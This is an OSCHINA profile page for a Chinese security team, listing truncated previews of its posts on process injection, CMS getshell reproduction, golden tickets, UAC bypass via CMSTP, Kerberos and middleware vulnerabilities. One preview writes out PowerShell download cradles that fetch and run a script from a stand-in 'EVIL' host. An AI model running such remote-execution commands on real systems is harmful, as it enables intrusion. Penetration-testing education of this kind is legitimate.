黑白天安全团队的个人空间 - OSCHINA - 中文开源技术交流社区

黑白天安全团队

认证官方账号

4.2K

经验值

4.2K

开源豆

关注私信

连击天

fork: star:

加载中

进程注入是将任意代码写入已经运行的进程中并执行，可以用来逃避检测对目标目标进程中的敏感信息进行读/写/执行访问，还可以更改该进程的行为。通过LoadLibrary注入DLL .dll，动态链接库英文...

visual studio

黑白天实验室

2021/03/30 23:56

749

环境搭建参考PHPCMS_V9.2任意文件上传getshell漏洞分析漏洞复现此漏洞利用过程可能稍有复杂，我们可分为以下三个步骤： Step1：GET请求访问/index.php?m=wap&c=index&siteid=1 获取set-c...

php swfupload tao

黑白天实验室

2021/03/29 00:05

255

一、为什么学网络安全？标重点 1. 市场巨大每年各安全厂商收入高达400亿左右，随着5G的发展，万物互联时代，市场将进一步扩大。 2. 薪资高网安人才的匮乏，用人开出招聘薪资往往高于求职者...

区块链人工智能物联网大数据

黑白天实验室

2021/03/28 00:00

246

网络攻防实战研究：MySQL数据库安全转发朋友圈即可参与本次送出10本书喔它可以说是新手入门小白的必备书籍从零开始搭建MySQL渗透测试及分析环境通过案例分析MySQL攻防思路和安全措施梳...

mysql

黑白天实验室

2021/03/26 00:00

109

1.0 黄金票据的原理和条件黄金票据是伪造票据授予票据（TGT）。票据授予票据（TGT），也被称为认证票据黄金票据特点: 1.与域控制器没有AS-REQ或AS-REP通信2.需要krbtgt用户的hash（KDC H...

mimikatz pac kerberos

黑白天实验室

2021/03/24 00:00

2.3K

近期后台就收到很多粉丝的留言，最多的就是关于黑客： “渗透测试原理和利用方法都懂了，就是找不到漏洞怎么办？ ”“很迷茫，成为高薪黑客，不知道从哪下手.” 我后面也去知乎上看了下，存...

apache nginx php javascript

黑白天实验室

2021/03/23 09:15

200

Windows Hash简述我们知道windows系统自身是不会保存明文密码的，也就是说SAM中保存的不是明文而是Hash。在本地登陆的情况下，操作系统会使用用户输入的密码作为凭据去与系统中的密码进行校...

openssl kerberos mimikatz opencl .net framework hashcat

黑白天实验室

2021/03/22 23:59

457

漏洞汇总 jboss未授权访问漏洞漏洞描述此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到jmx控制台，并在其中执⾏任何功能 ...

php rsync redis fastcgi docker php-fpm

黑白天实验室

2021/03/19 00:11

1.2K

C＃代码是以下代码： /* UAC Bypass using CMSTP.exe microsoft binary Based on previous work from Oddvar Moe https://oddvar.moe/2017/08/15/research-on-cmstp-exe/ And this PowerShe...

powershell

黑白天实验室

2021/03/18 00:11

227

Tomcat常见漏洞 Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最...

java ee apache

黑白天实验室

2021/03/16 00:41

2K

前言 PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式。环境搭建本次PHPCMS版本为9.6.0,安装步骤跟上一篇文章一样，参考PHPCMS_V9.2任意文件上传getshell漏洞分析漏洞复...

tao php

黑白天实验室

2021/03/15 00:01

270

Elasticsearch简介 Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java语言开发的，并作为Apache许可条...

java groovy tomcat java ee webshell

黑白天实验室

2021/03/12 00:16

6.6K

介绍&预备知识介绍：PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式。预备知识 PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问，采用单一入口模式进行项目...

php phpcms burp

黑白天实验室

2021/03/11 00:12

637

weblogic简介 Weblogic是美国Oracle公司出品的一个应用服务器(application server)，确切的说是一个基于Java EE架构的中间件，是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数...

java ee redis java burp

黑白天实验室

2021/03/09 21:03

688

0x0 前言当我们进行代码审计的时候，必不可少的就是debug。为了后面更加方便清晰的解释漏洞产生的原因和执行流程。特作此篇帮助像我一样的小白更好的学习！ xdebug介绍：Xdebug是一个开放源...

php firefox phpstudy

黑白天实验室

2021/03/08 00:05

134

Kerbroes协议分析之TGS_REQ & TGS_REP Kerberos协议流程： 1.客户端将用户ID的明文消息发送给AS（请求认证） 2.AS检查客户端是否在其数据库中，在就会拿出相应用户id对应的hash来当作加密密钥...

openssl kerberos pac mimikatz hashcat

黑白天实验室

2021/03/07 00:32

292

Kerbroes Kerberos 是一种网络认证协议，其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不...

kerberos pac openssl

黑白天实验室

2021/03/06 00:15

436

普通下载 IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") PowerShell 3.0+ IEX (iwr 'http://EVIL/evil.ps1'）隐藏的IE com对象 $ie=New-Object -comobject Inte...

powershell

黑白天实验室

2021/03/05 01:06

1.3K

菜鸟入坑代码审计，熊海CMS审计学习，开始吧！漏洞环境&搭建访问install目录，填写相关配置。漏洞分析 1. 入口处存在文件包含漏洞漏洞触发文件为index.php,具体代码如下:...

php admin index login cookie type software download 站长 tao update files payload support null

黑白天实验室

2021/03/04 00:47

882

WinRM的简要概述 "Windows远程管理(WinRM)"是WS-Management协议(Web Services for Management，又名WSMan)的Microsoft实现，WS-Management Protocol是基于标准简单对象访问协议(SOAP)的对防火...

powershell .net framework

黑白天实验室

2021/03/03 00:04

1.4K

没有更多内容

加载失败，请刷新页面

©OSCHINA(OSChina.NET)

工信部

开源软件推进联盟

指定官方社区

社区规范

深圳市奥思网络科技有限公司版权所有

粤ICP备12009483号

顶部